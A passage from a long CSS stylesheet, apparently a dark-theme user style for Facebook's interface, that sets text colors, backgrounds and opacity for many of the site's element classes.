rgb(85,85,85)\"],strong[style*=\"color: rgb(68,68,68)\"],div[style*=\"color: gray\"],.group_officers dd,.fbpage_group_title,.application_menu_divider,.friend_status span,.more_info,.logged_out_register_subhead,.logged_out_register_footer,input[type=\"text\"],textarea,.status_name span,input[type=\"file\"],.UIStoryAttachment_Copy,.stream_participants_short,.UIHotStory_Copy,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not(.UIButton_Text):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),input[type=\"search\"],input[type=\"input\"],.inputtext,.relationship span,input[type=\"button\"]:not([value=\"Comment\"]),input[type=\"password\"],#reg_pages_msg,.UIMutableFilterList_Tip,.like_sentence,.UIIntentionalStory_InfoText,.UIHotStory_Why,.question_text,.UIStory,.tokenizer,input[type=\"hidden\"],.tokenizer_input *,.text:not(.external),.flistedit b,.fexth,.UIActionMenu_Main,span[style*=\"color: rgb(102,102,102)\"],div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(119,119,119)\"],blockquote,.description,.security_badge,.full_name,.email_display,.email_section,.chat_fl_nux_messaging,.UIObjectListing_Subtext,.confirmation_login_content,.confirm_username,.UIConnectControls_Body em,.comment_actual_text,.status,.UICantSeeProfileBlurbText,.UILiveLink_Description,.recaptcha_text,.UIBeep_Title,.UIComposer_Attachment_ShareLink_URL,.app_dir_app_category,.first_stat,.aggregate_review_title,.stats span,.facebook_disclaimer,.app_dir_app_creator,.app_dir_app_monthly_active_users,.app_dir_app_friend_users,.UISearchFilterBar_Label,.UIFullListing_InfoLabel,.email_promise_detail,.title_text,.excerpt,.dialog_body,.tos,.UIEMUASFrame_body,.page_note,.nux_highlight_composer,.UIIntentionalStory_BottomAttribution,.tagline,.GBSelectList,.gigaboxx_thread_header_authors,.GBThreadMessageRow_ReferrerLink,#footerWrapper,.infoTitle,.fg_explain,.UIMentor_Message,.GenericStory_BottomAttribution,.chat_input,.video_timestamp span,#tagger_prompt,.UIImageBlock_Content,.new_list span, .GBSearchBox_Input input,.SearchPage_EmailSearchLeft,.sub_info,.UIBigNumber_Label,.UIInsightsGeoList_ListTitle,.UIInsightsGeoList_ListItemValue,.UIInsightsSmall_Note,.textmedium,.UIFeedFormStory_Lead,.home_no_stories_content, .title_label,div[style*=\"color: rgb(102,102,102)\"],*[style*=\"color: rgb(51,51,51)\"],.tab_box_inner,.uiStreamMessage,.privacy_section_description,.info_text,.uiAttachmentDesc,.uiListBulleted span,.privacySettingsGrid th,.recommendations_metadata,.postleft dd:not(.usertitle),.postText,.mall_post_body_text,.fbChatMessage,.fbProfileBylineFragment,.nosave option,.uiAttachmentDetails,.fbInsightsTable td,.mall_post_body,.uiStreamPassive,.snippet,.questionInfo span,.promotionsHowto,.fcg,.headerColumn .fwb,.rowGroupTitle .fwb,.rowGroupDescription .fwb,.likeUnit,.aboveUnitContent,.placeholder,.sectionContent,.UIFaq_Snippet,.uiMenuItem:not(.checked) .name,.balloon-text,.fbLongBlurb,.legendLabel,.messageBody {color: #bbb !important;}\n\n.status_clear_link,h3,h1,.updates,.WelcomePage_SignUpHeadline,.WelcomePage_SignUpSubheadline,.mock_h4 .left,.review_header_title,caption,.logged_out_register_msg,.domain_name, .UITitledBox_Title,.signup_box_content,.highlight,.question,.whocan span,.UIFilterList > .UIFilterList_Title,.subject,.UIStoryAttachment_Label,.typeahead_message,.UIShareStage_Title,.alternate_name,.helper_text,.textlarge,.page .category,.item_date,.privacy_section_label,.privacy_section_title,.uiTextMetadata, .seeMoreTitle,.categoryContents,code,.usertitle,.fbAppSettingsPageHeader,.fsxl,.LogoutPage_MobileMessage,.LogoutPage_MobileSubmessage,.recommended_text,#all_friends_text,.removable,.ginormousProfileName,.experienceContent .fwb,#bfb_t_popular_body div[style*=\"color:#880000\"],.fsm:not(.snippet):not(.itemLabel):not(.fbChatMessage),.uiStreamHeaderTextRight,.bookmarksNavSeeAll,.tab .content,.fbProfilePlacesFilterCount,.fbMarketingTextColorDark,.pageNumTitle,.pluginRecommendationsBarButton {color: #69f !important;}\n\n.em,.story_comment_back_quote,.story_content,small,.story_content_excerpt,.walltext,.public,p span,#friends_page_subtitle,.main_title,.empty_message,.count,.count strong,.stories_not_included li span,.mobile_add_phone th,#friends strong,.current,.no_photos,.intro,.sub_selected a,.stats,.result_network,.note_body,#bodyContent div b,#bodyContent div,.upsell dt,.buddy_count_num strong,.left,.body,.tab .current,.aim_link span,.story_related_count,.admins span,.summary em,.fphone_number,.my_numbers_label,.blurb_inner,.photo_header strong,.note_content,.multi_friend_status,.current_path span,.current_path,.petition_header,.pyramid_summary strong,#status_text,.contact_email_pending em,.profile_needy_message,.paging_link div,.big_title,.fb_header_light,.import_status strong,.upload_guidelines ul li span,.upload_guidelines ul li span strong,#selector_status,.timestamp strong,.chat_notice,.notice_box,.text_container,.album_owner,.location,.info_rows dd,.divider,.post_user,div[style=\"color: rgb(101,107,111);\"] b,div[style=\"color: rgb(51,51,51);\"] b,.basic_info_summary_and_viewer_actions dd,.profile_info dd,.story_comment,p strong,th strong,.fstatus,.feed_story_body,.story_content_data,.home_prefs_saved p,.networks dd,.relationship_status dd,.birthday dd,.current_city dd,.UIIntentionalStory_Message,.UIFilterList_Selected a,.UIHomeBox_Title,.suggestion,.spell_suggest,.UIStoryAttachment_Caption,.fexth + td,.fext_short,#fb_menu_inbox_unread_count,.Tabset_selected .arrow .sel_link span,.UISelectList_check_Checked,.chat_fl_nux_header,.friendlist_status .title a,.chat_setting label,.UIPager_PageNum,.good_username,.UIComposer_AttachmentTitle,.rsvp_option:hover label,.Black,.comment_author span,.fan_status_inactive,.holder,.UIThumbPagerControl_PageNumber,.text_center,.nobody_selected,.email_promise,.blocklist ul,#advanced_body_1 label,.continue,.empty_albums,div[style*=\"color: black\"],.GBThreadMessageRow_Body_Content,.UIShareStage_Subtitle,#public_link_photo span,.GenericStory_Message,.UIStoryAttachment_Value,div[style*=\"color: black\"],.SearchPage_EmailSearchTitle,.uiTextSubtitle,.jewelHeader,.recent_activity_settings_label,.people_list_item,.uiTextTitle,.tab_box,.instant_personalization_title,.MobileMMSEmailSplash_Description,.MobileMMSEmailSplash_Tipsandtricks_Title,.fcb,input[value=\"Find Friends\"],#bodyContent,#bodyContent table,h6,.fbChatBuddylistError,.info dt,.bfb_options_minimized_hide,.connect_widget_connected_text,body.transparent_widget .connect_widget_not_connected_text,.connect_widget_button_count_count,.fbInsightsStatisticNumber,.fbInsightsTable thead th span,.header span,.friendlist_name a,.count .countValue,.uiHeaderTitle span,#about_text_less span,.uiStreamHeaderText,.navHeader,.uiAttachmentTitle,.fbProfilePlacesFilterText,.tagName,.ufb-dataTable-header-text,.ufb-text-content,.fb_content,.uiComposerAttachment .selected .attachmentName,.balloon-title,.cropMessage {color: #fff !important;}\n\n.bfb_post_action_container {opacity: .25 !important;}\n.bfb_post_action_container:hover {opacity: 1 !important;}\n\n.valid,.wallheader small,#photodate,.video_timestamp strong,.date_divider span,.feed_msg h5,.time,.item_contents,.boardkit_topic_updated,.walltime,.feed_time,.story_time,#status_time_inner,.written small,.date,div[style*=\"color: rgb(85,82,37)\"],.timestamp span,.time_stamp,.timestamp,.header_info_timestamp,.more_info div,.timeline,.UIIntentionalStory_Time,.fupdt,.note_timestamp,.chat_info_status_time,.comment_actions,.UIIntentionalStory_Time a,.UIUpcoming_Time,.rightlinks,.GBThreadMessageRow_Date,.GenericStory_Time a,.GenericStory_Time,.fbPrivacyPageHeader,.date_divider {color: #69f !important;}\n\n.textinput,select,.list_drop_zone,.msg_divide_bottom,textarea,input[type=\"text\"],input[type=\"file\"],input[type=\"search\"],input[type=\"input\"],input[type=\"password\"],.space,.tokenizer,input[type=\"hidden\"],#flm_new_input,.UITooltip:hover,.UIComposer_InputShadow,.searchroot input,input[name=\"search\"],.uiInlineTokenizer,input.text,input.nosave {background: rgba(0,0,0,.50) !important;-moz-appearance:none!important;color: #bbb !important;border: none !important;padding: 3px !important; }\n\ninput[type=\"text\"]:focus,textarea:focus,.fbChatSidebar .fbChatTypeahead .textInput:focus {box-shadow: 0 0 .5em #9cf,inset 0 0 .25em #69f !important;}\n\n.uiOverlayPageWrapper,#fbPhotoSnowlift,.shareOverlay,.tlPageRecentOverlay {background: -moz-radial-gradient(50% 50%,circle,rgba(10,10,10,.6),rgb(10,10,10) 90%) !important;}\n\n.bumper,.stageBackdrop {background: #000 !important;}\n#page_table {background: #333 }\n\n.checkableListItem:hover a,.selectedCheckable a {background: #69f !important; }\n\n.GBSearchBox_Input,.tokenizer,.LTokenizerWrap,#mailBoxItems li a:hover,.uiTypeaheadView .search .selected,.itemAnchor:hover,.notePermalinkMaincol .top_bar, .notification:hover a,#bfb_tabs div:not(.bfb_tab_selected),.bfb_tab,.navIdentity form:hover,.connect_widget_not_connected_text,.uiTypeaheadView li.selected,.connect_widget_number_cloud,.placesMashCandidate:hover,.highlight,#bfb_option_list li a:hover {background: rgba(0,0,0,.5) !important;}\n\n.results .page,.calltoaction,.results li,.fbNubFlyout,.contextualBlind,.bfb_dialog,.bfb_image_preview,input.text,.fbChatSidebar,.jewelBox,.clickToTagMessage,.tagName,.ufb-tip-body,.flyoutContent,.fbTimelineMapFilterBar,.fbTimelineMapFilter,.fbPhotoStripTypeaheadForm,.groupsSlimBarTop,.pas,.contentBox,.fbMapCalloutMain, .pagesVoiceBar {background: rgba(10,10,10,.75) !important;}\n\n#pageNav .tinyman:hover a,#navHome:hover a,#pageNav .tinyman a[style*=\"cursor: progress\"],#navHome a[style*=\"cursor: progress\"],#home_filter_list,#home_sidebar,#contentWrapper,.LDialog,.dialog-body,.LDialog,.LJSDialog,.dialog-foot,.chat_input,#contentCol,#leftCol,.UIStandardFrame_Content,.red_box,.yellow_box,.uiWashLayoutOffsetContent,.uiOverlayContent,.bfb_post_action_container,.connect_widget_button_count_count,.shaded,.navIdentitySub,.jewelItemList li a:hover,.fbSidebarGripper div,.jewelCount,.uiBoxRed,.videoUnit,.lifeEventAddPhoto,.fbTimelineLogIntroMegaphone,.uiGamesLeaderboardItem,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.newInterestListNavItem:hover,.ogSliderAnimPagerPrevContent,.ogSingleStoryStatus,.ogSliderAnimPagerNextContent,.-cx-PRIVATE-uiDialog__body,.jewelItemNew .messagesContent {background: rgba(10,10,10,.5) !important;}\n\n#home_stream,pre,.ufiItem,.odd,.uiBoxLightblue,.platform_dialog_bottom_bar,.uiBoxGray,.fbFeedbackPosts,.mall_divider_text,.uiWashLayoutGradientWash, #bfb_options_body,.UIMessageBoxStatus,.tip_content .highlight,.fbActivity, .auxlabel,.signup_bar_container,#wait_panel,.FBAttachmentStage,.sheet,.uiInfoTable .name,.HCContents,#devsiteHomeBody .content,.devsitePage .nav .content,#confirm_phone_frame,.fbTimelineCapsule .timelineUnitContainer,.timelineReportContainer,.aboveUnitContent,.aboutMePagelet,#pagelet_tab_content_friends,#fbProfilePlacesBorder,#pagelet_tab_content_notes,.externalShareUnit,.fbTimelineNavigationWrapper .detail,.tosPaneInfo,.navSubmenu:hover,#bfb_donate_pagelet > div,.better_fb_mini_message,.uiBoxWhite,.uiLoadingIndicatorAsync,.mleButton,.fbTimelineBoxCount,.navSubmenu:hover,.gradient,.profileBrowserGrid tr > td > div,.statsContainer,#admin_panel,.fbTimelineSection, .escapeHatch, .ogAggregationPanelContent, .-cx-PRIVATE-fbTimelineExternalShareUnit__root, .shareUnit a, .storyBox {background: rgba(20,20,20,.4) !important;}\n\n.feed_comments,.home_status_editor,#rooster_container,.rooster_story,.UIFullPage_Container,.UIRoundedBox_Box,.UIRoundedBox_Side,.wallpost,.profile_name_and_status,.tabs_wrapper,.story,#feedwall_controls,.composer_well,.status_composer,.home_main_item,.feed_item,.HomeTabs_tab,#feed_content_section_applications li,.menu_separator,a[href=\"/friends\"],.feed_options_link,.show_all_link,.status,#newsfeed_submenu,.morecontent_toggle_link,.more_link,.composer_tabs,.bl,.profile_tab,.story_posted_item,.left_column,.pager_next,.admarket_ad,.box,.inside,.shade_b,.who_can_tab,.summary_simple,.footer_submit_rounded,.well_content,.info_section,.item_content,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_table,.extra_content,.main_content,.search_inputs,.search_results,.result,.bar,.smalllinks span,.quiz_actionbox,.column,.note_header,.fdh,#fpgc,#fpgc td,.fmp,.fadvfilt,.fsummary,.frn,.two_column_wrapper,#new_ff,.see_more,.message_rows,.message_rows tr,.toggle_tabs li,.toggle_tabs li a,.notifications,.updates_all,.composer,.WelcomePage_MainSellContainer,.WelcomePage_MainSell,.media_gray_bg,.photo_comments_container,.photo_comments_main,.empty_message,.UIMediaHeader_Title,.UIMediaHeader_SubHeader,.footer_bar,.single_photo_header,#editphotoalbum,.covercheck,#newalbum,.panel,.album,.dh_titlebar,.page_content,.dashboard_header,.photos_header,.privacy_summary_items,.privacy_summary_item,.block_overview,.privacy_page_field,.editor_panel,.block,.action_box,.even_column,.mobile_account_inlay,.language,.confirm_boxes,.confirm,.status_confirm,.hasnt_app,.container, .UIDashboardHeader_TitleBar,.UIDashboardHeader_Container,.note,.UITwoColumnLayout_Container,.dialog_body,.dialog_buttons,.group_lists,.group_lists th,.group_list,.updates,.share_section,#profilenarrowcolumn,#profilewidecolumn,#inline_wall_post,.post_link_bar,.helppro_content,.answers_list_header,#help_titlebar,.new_user_guide,.new_user_guide_content,.flag_nav_item,.flag_nav_item a,.arrowlink a,#safety_page,#safety_page h5,.dashbar,.disclaimer,#store_options,#store_window,.step,.canvas_rel_positioning, .app_type a,.sub_selected a,.box_head,.inside_the_box,.app_about,.fallback,.box_subhead,.fbpage_card,#devsite_menubar,.content_sidebar,.side, .pBody li a,#p-logo,#p-navigation,#p-navigation .pBody,#bodyContent h1,#p-wiki,#p-wiki .pBody,#p-search,#p-search .pBody,#p-tb,#p-tb .pBody,#bodyContent table,#bodyContent table div,.recent_news,.main_news,.news_header, .devsite_subtabs li a,.middle-container,.feed_msg h4,.ads_info,.contact_sales,.wrapper h3,.presence_bar_button:hover,.icon_garden_elem:hover,#profile_minifeed,.focused,.dialog_summary,.tab span,.wallkit_postcontent h4,.address,#badges,.badge_holder,.aim_link,.user_status,.section_editor,.my_numbers,.photo_editor,.gift_rows,.sub_menu,.main-nav-tabs li a,.submenu_header,.new_gift,#profile_footer_actions,#status_bar,#summaryandpager,.userlist,#feedBody,#feedHeaderContainer,#feedContent,.feedBackground,.mixer_panel,.titles,.sliders,.slider_holder,.fbpage_title,.options,#linkeditorform,.sideNavItem .item,.typeahead_list_with_shadow,.module,.tc,.bc,.footer, .answer,.announcement,.basic_info_content,.slot,.boardkit_no_topics,.ranked_friend,.boardkit_subtitle,.filter-tabs,.level,.level_summary,.cause, .attachment_stage,.attachment_stage_area,.beneficiary_info,#info_tab,#feedwall_with_composer,.frni,.frni a,.flistedit,.fmp_delete,#feed_content_section_friend_lists li,.composer_tabs li:not(.selected),.menu_content li a,.view_on,.rounded-box,.ffriend,.tab_content,.wrapper_background,.full_container,.white_box,#friends li a,#inline_composer,.skin_body,.invite_tab_selected,.inside table,.matches_matches_box,.matches_content_box_subtitle,tr[fbcontext=\"41097bfeb58d\"],.dialog_body div div,.new_menu_off,.present_info_label,.import_status,.upload_guidelines,.tagger_border,.chat_info,.chat_conv_content,.chat_conv,.visibility_change,.pic_padding,.chat_notice,.chat_input_div,.wrapper,.toolbar_button,.toolbar_button_label,.pages_dashboard_panel,.no_pages,.divider,#filterview,#groupslist,.grouprow,.grouprow table,.board_topic,#big_search,#invitation_list,#invitation_wrapper,.emails_error, .outer_box,.inner_box,.days_remaining,.module,.submodule,.ntab,.ntab .tab_link,.grayheader,.inline_wall_post,.related_box,.home_box_wrapper,.two_column,.challenge_stats,.quiz_box, #fb_challenge,#fb_challenge_page,.challenge_leaderboard,.leaderboard_tile, .sidebar_upsell,.concerts_module,.container_box,#login_homepage,.user_hatch_bg,.pick_main,#homepage,.wall_post_body,.track,.HomeTabs_tab a,.minifeed,.alert_wrap,.logged_in_vertical_alert,.info_column,#public_listing_friends,#public_listing_pages,.gamertag_app,.gamerProfileBody,#photo_picker,.album_picker .page0 .row,.dialog_loading,.timeline,.partyrow,.partyrow table,#invite_list li,.group_info_section,#moveable_wide,.UIProfileBox_Content,.story_content,.settings_panel,.app_browser li,.photos_tab,.recent_notes,.side_note,.album_information,.results,.logged_out_register_vertical,.logged_out_register_wrapper,.deleted,.home_prefs_saved,.share_send,.header_divide,.thread_header,.message,.status_composer_inner,.fbpage_edit_header,.app_switcher_unselected,.status_placeholder,.UIComposer_TDTextArea, .UIHomeBox_Content,.UIHotStory,.home_welcome,.summary_custom,.source_list,.minor_section,.UIComposer_Attachment_TDTextArea,.info_diff span,.matches span,.menu_content,.UIcomposer_Dropdown_List,.UIComposer_Dropdown_Item,.feed_auto_update_settings,.container,.silver_footer,.friend_grid_col,.token > span,.tokenizer_input,.tokenizer_input *,#friends_multiselect,.flink_inner a:hover,#grouptypes,#startagroup p,.UICheckList,.FriendAddingTool_InnerMenu,.pagerpro li a:hover,#friend_filters,.fb_menu_count_holder,.hp_box,.view_all_link,.app_settings_tab,.tab_link,#flm_add_title,#flm_current_title,#flm_list_selector .selector,#friends_header,#friends_wrapper,.contacts_header,.contacts_wrapper,.row1,.show_advanced_controls,.FriendAddingTool_InnerMenu,.UISelectList,.UISelectList_Item,.UIIntentionalStory_CollapsedStories,.email_section,.section_header_bg,.rqbox,.ar_highlight,#buddy_list_panel,.panel_item,.friendlist_status,.options_actions a span,.chat_setting label,.toolbox,.chat_actions,.UIWell,.UIComposer_InputArea,.invite_panel,.apinote,.UIInterstitialBox_Container,.ical_section,.maps_brand,.divbox4,.lighteryellow,.fan_status_inactive,.UIBeeperCap,.footer_fallback_box,.footer_refine_search_company_school_box,.footer_refine_search_email_box,.UINestedFilterList_List,.UINestedFilterList_SubItem,.UINestedFilterList_Item_Link,.UINestedFilterList_Item_Link,.UINestedFilterList_SubItem_Link,.app_dir_app_summary,.app_dir_featured_app_summary,.app_dir_app_wide_summary,.profile_top_bar_container,.UIStream_Border,.question_container,.unselected_list label:nth-child(odd),.request_box,.showcase,.steps li,#fb_sell_profile div,.promotion,.UIOneOff_Container tabs,.whocan,.lock_r,.privacy_edit_link,.friend_list_container li:hover a,.email_field,.app_custom_content,#page,.thumb,.step_frame,.radioset,.radio_option,.page_option,.explanation_note,.card,.empty_albums,.right_column,.full_widget,.connect_top,.creative_preview,.creative_column,.UIAdmgrCreativePreview,.UIEMUASFrame,.banner_wrapper,.dashboard,.pages,#photocrop_instructions,.UIContentBox_GrayDarkTop,.UIContentBox_Gray,.UIContentBox,#FriendsPage_ListingViewContainer,.post_editor,.entry,.fb_dashboard,.spacey_footer,.thread,.post,.UIWashFrame_Content,table[bindpoint=\"thread_row\"],table[bindpoint=\"thread_row\"] tbody,.GBThreadMessageRow,.message_pane,.UIComposer_ButtonArea, .UIRoundedTransparentBox_Border,.feedbackView,.group,.streamPaginator,.nullStatePane,.inboxControls,.filterControls,.inboxView tr,.tabView,.tabView li a,.splitViewContent,.photoGrid,.albumGrid,.frame .img,.gridViewCrop,.gridView,.profileWall form,.story form,.formView,.inboxCompose,.LTokenizerToken,#icon_garden,#buddy_list_tab,#presence_notifications_tab,#editphotoalbum .photo,.UISuggestionList_SubContainer,.fan_action,.video_pane,.notify_option, .video_gallery,.video,.uiTooltip:not(.close):hover,.people_table,.people_table table,#main,#navlist li a.inactive,#rbar,.plays_bar,#fans,.updates_messages,.sent_updates_container,.subitem,#pagelet_navigation,.fbxWelcomeBox,.friends_online_sidebar,.uiTextHighlight,.tab_box,.bordered_list_item,.SettingsPage_PrivacySections,.profile-pagelet-section,.profileInfoSection,#pts_invite_section,.main_body,.masterControl,.masterControl .main,.linkbox,.uiTypeaheadView .search li,.language_form,#ads_privacy_examples,.fbPrivacyPage,.UIStandardFrame_SidebarAds,#sidebar_ads,#globalWrapper #content,.portlet,.pBody,.noarticletext,#catlinksm,.devsiteHeader,.devsiteFooter,.devsiteContent,.blockpost,.blockpost #topic,.blockpost .postleft,.blockpost .postfootleft,.fbRecommendation,.fbRecommendationWidgetContent,.add_comment,.connect_comment_widget .comment_content,.error,.even,.fbFeedbackPager,.uiComposerMessageBox,.facepileHolder,.notePermalinkMaincol,.profilePreviewHeader,.pageAttachment,.editExperienceForm,.tourSteplist,.tourSteplist ol,.uiStep,.uiStep:not(.uiStepSelected) .part, .uiStepSelected .part:not(.middle),.better_fb_cp,legend,.bfb_option_body div,.messaging_nux_header,.fbInsightsTable .odd td,.user.selected,.highlighter div b,.fbQuestionsBlingBox:hover,.friend_list_container,.jewelItemList li a:active,#bfb_tip_pagelet > div,.UIUpcoming_Item,.video_with_comments,.video_info,.fbFeedTickerStory,.fbFeedTicker.fixed_elem,.fbxPhoto .fbPhotoImageStage .stageContainer,#DeveloperAppBody > .content,.opengraph .preview,.coverNoImage,.fbTimelineScrubber,.fbTimelineAds,.fbProfilePlacesFilter,.fbFeedbackPost .UIImageBlock_Content,.permissionsViewEducation,.UIFaq_Container,#wizard,.captionArea,#bfb_options_content .option,.bfb_tab_selector,.UIMessageBoxExplanation,.uiStreamSubstories {background: rgba(20,20,20,.2) !important;}\n\n.uiSelector .uiSelectorButton,.UIRoundedBox_Corner,.quote,.em,.UIRoundedBox_TL,.UIRoundedBox_TR,.UIRoundedBox_BR,.UIRoundedBox_LS,.UIRoundedBox_BL,.profile_color_bar,.pagefooter_topborder,.menu_content,h3,#feed_content_section_friend_lists,ul,li[class=\"\"],.comment_box,.comment,#homepage_bookmarks_show_more,.profile_top_wash,.canvas_container,.composer_rounded,.composer_well,.composer_tab_arrow,.composer_tab_rounded,.tl,.tr,.module_right_line_block,.body,.module_bottom_line,.lock_b_bottom_line,#info_section_info_2530096808 .info dt,.pipe,.dh_new_media,.dh_new_media .br,.frn_inpad,#frn_lists,#frni_0,.frecent span,h3 span,.UIMediaHeader_TitleWash,.editor_panel .right,.UIMediaButton_Container tbody *,#userprofile,.profile_box,.date_divider span,.corner,.profile #content .UIOneOff_Container,.ff3,.photo #nonfooter #page_height,.home #nonfooter #page_height,.home .UIFullPage_Container,.main-nav,.generic_dialog,#fb_multi_friend_selector_wrapper,#fb_multi_friend_selector,.tab span,.tabs,.pixelated,.disabled,.title_header .basic_header,#profile_tabs li,#tab_content,.inside td,.match_link span,tr[fbcontext=\"41097bfeb58d\"] table,.accent,#tags h2,.read_updates,.user_input,.home_corner,.home_side,.br,.share_and_hide,.recruit_action,.share_buttons,.input_wrapper,.status_field,.UIFilterList_ItemRight,.link_btn_style span,.UICheckList_Label,#flm_list_selector .Tabset_selected .arrow,#flm_list_selector .selector .arrow .sel_link,.friendlist_status .title a,.online_status_container,.list_drop_zone_inner,.good_username,.WelcomePage_Container,.UIComposer_ShareButton *,.UISelectList_Label,.UIComposer_InputShadow .UIComposer_TextArea,.UIMediaHeader_TitleWrapper,.boxtopcool_hg,.boxtopcool_trg,.boxtopcool_hd,.boxtopcool_trd,.boxtopcool_bd,.boxtopcool_bg,.boxtopcool_b,#confirm_button,.title_text,#advanced_friends_1,.fb_menu_item_link,.fb_menu_item_link small,.white_hover,.GBTabset_Pill span,.UINestedFilterList_ItemRight,.GBSearchBox_Input input,.inline_edit,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.LTokenizer,.Mentions_Input,form.comment div,.ufi_section,.BubbleCount,.BubbleCount_Right,.UIStory,.object_browser_pager_more,.friendlist_name,.friendlist_name a,.switch,#tagger,.tagger_border,.uiTooltip,#reorder_fl_alert,.UIBeeper_Full,#navSearch,#navAccount,#navAccountPic,#navAccountName,#navAccountInfo,#navAccountLink,#mailBoxItems,#pagelet_chat_home h4,.buddy_row,.home_no_stories,#xpageNav li .navSubmenu,.uiListItem:not(.ufiItem),.uiBubbleCount,.number,.fbChatBuddylistPanel,.wash,.settings_screenshot,.privacyPlan .uiListItem:hover,.no_border,.auxiliary .highlight,.emu_comments_box_nub,.numberContainer,.uiBlingBox,.uiBlingBox:hover span,.callout_buttons,.uiWashLayoutEmptyGradientWash,.inputContainer,.editNoteWrapperInput,.fbTextEditorToolbar,.logoutButton input,#contentArea .uiHeader + .uiBoxGray,.uiTokenizer,#bfb_tabs,.profilePictureNuxHighlight,.profile-picture,#ci_module_list,.textBoxContainer,#date_form .uiButton,.insightsDateRange,.MessagingReadHeader,.groupProfileHeaderWash,.questionSectionLabel,.metaInfoContainer,.uiStepList ol,.friend_list,.fbFeedbackMentions,.bb .fbNubFlyoutHeader,.bb .fbNubFlyoutFooter,.fbNubFlyoutInner .fbNubFlyoutFooter,.gradientTop,.gradientBottom,.helpPage,.fbEigenpollTypeahead .plus,.uiSearchInput,.opengraph,#developerAppDetailsContent,.timelineLayout #contentCol,.attachmentLifeEvents,.fbProfilePlacesFilterBar,.uiStreamHeader,.uiStreamHeaderChronologicalForm,.inner .text,.pageNotifPopup,.uiButtonGroup,.navSubmenuPageLink,.fbTimelineTimePeriod,.bornUnit,.mleFooter,#bfb_filter_add_row,#bfb_options .option .no_hover,.fbTimelinePhotosSeparator h4 span,.withsubsections,.showMore,.event_profile_information tr:hover,.nux_highlight_nub,.uiSideNav .uiCloseButton,.uiSideNav .uiCloseButton input,.fb_content,.uiComposerAttachment .selected .attachmentName,.fbHubsTokenizer,.coverEmptyWrap,.uiStreamHeaderText,.pagesTimelineButtonPagelet,.fbNubFlyoutBody,#pageNav .tinyman:hover,#navHome:hover,.fbRemindersThickline,.uiStreamEdgeStoryLine hr,.uiInfoTable tbody tr:hover,.fbTimelineUFI,#contentArea,.leftPageHead,.rightPageHead,.anchorUnit,#pageNav .topNavLink a:focus,.timeline_page_inbox_bar,.uiStreamEdgeStoryLineTx,.pluginRecommendationsBarButton,.pluginRecommendationsBarTop table, .uiToken, .ogAggregationPanelText, .UFIRow {background: transparent !important;}\n\n.UIObject_SelectedItem,.sidebar_item_header,.announcement_title,#pagefooter,.selected:not(.key-messages):not(.key-events):not(.key-media):not(.key-ff):not(.page):not(.group):not(.user):not(.app),.date_divider_label,.profile_action,.blurb ,.tabs_more_menu,.more a span,.selected h2,.column h2,.ffriends,.make_new_list_button_table tr,.title_header,.inbox_menu,.side_column,.section_header h3 span,.media_header,#album_container,.note_dialog,.dialog,.has_app,.UIMediaButton_Container,.dialog_title,.dialog_content,#mobile_notes_announcement,.see_all,#profileActions,.fbpage_group_title,.UIProfileBox_SubHeader,#profileFooter,.share_header,#share_button_dialog,.flag_nav_item_selected,.new_user_guide_content h2,#safety_page h4,.section_banner,.box_head,#header_bar,.content_sidebar h3,.content_header,#events h3,#blog h3,.footer_border_bottom,.firstHeading,#footer,.recent_news h3,.wrapper div h2,.UIProfileBox_Header,.box_header,.bdaycal_month_section,#feedTitle,.pop_content,#linkeditor,.UIMarketingBox_Box,.utility_menu a,.typeahead_list,.typeahead_suggestions,.typeahead_suggestion,.fb_dashboard_menu,.green_promotion,.module h2,.current_path,.boardkit_title,.current,.see_all2,.plain,.share_post,.add-link,li.selected,.active_list a,#photoactions a:not(#rotaterightlink):not(#rotateleftlink),.UIPhotoTagList_Header,.dropdown_menu,.menu_content,.menu_content li a:hover,.menu_content li:hover,#edit_profilepicture,.menu_content div a:hover,.contact_email_pending,.req_preview_guts,.inputbutton,.inputsubmit,.activation_actions_box,.wall_content,.matches_content_box_title,.new_menu_selected,#editnotes_content,#file_browser,.chat_window_wrapper,.chat_window,.chat_header,.hover,.dc_tabs a,.post_header,.header_cell,#error,.filters,.pages_dashboard_panel h2,.srch_landing h2,.bottom_tray,.next_action,.pl-divider-container,.sponsored_story,.header_current,.discover_concerts_box,.header,.sidebar_upsell_header,.activity_title h2,.wall_post_title,#maps_options_menu,.menu_link,.gamerProfileTitleBar,.feed_rooster ,.emails_success,.friendTable table:hover,.board_topic:hover,.fan_table table:hover,#partylist .partyrow:hover,.latest_video:hover,.wallpost:hover,.profileTable tr:hover,.friend_grid_col:hover,.bookmarks_list li:hover,.requests_list li:hover,.birthday_list li:hover,.tabs li,.fb_song:hover,.share_list .item_container:hover,.written a:hover,#photos_box .album:hover,.people .row .person:hover,.group_list .group:hover,.confirm_boxes .confirm:hover,.posted .share_item_wide .share_media:hover,.note:hover,.editapps_list .app_row:hover,.my_networks .blocks .block:hover,.mock_h4,#notification_options tr:hover,.notifications_settings li:hover,.mobile_account_main h2,.language h4,.products_listing .product:hover,.info .item .item_content:hover,.info_section:hover,.recent_notes p:hover,.side_note:hover,.suggestion,.story:hover,.post_data:hover,.album_row:hover,.track:hover,#pageheader,.message:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIActionButton,.UIActionButton_Link,.confirm_button,.silver_dashboard,span.button,.col:hover,#photo_tag_selector,#pts_userlist,.flink_dropdown,.flink_inner,.grouprow:hover,#findagroup h4,#startagroup h4,.actionspro a:hover,.UIActionMenu_Menu,.UICheckList_Label:hover,.make_new_list_button_table,.contextual_dialog_content,#flm_list_selector 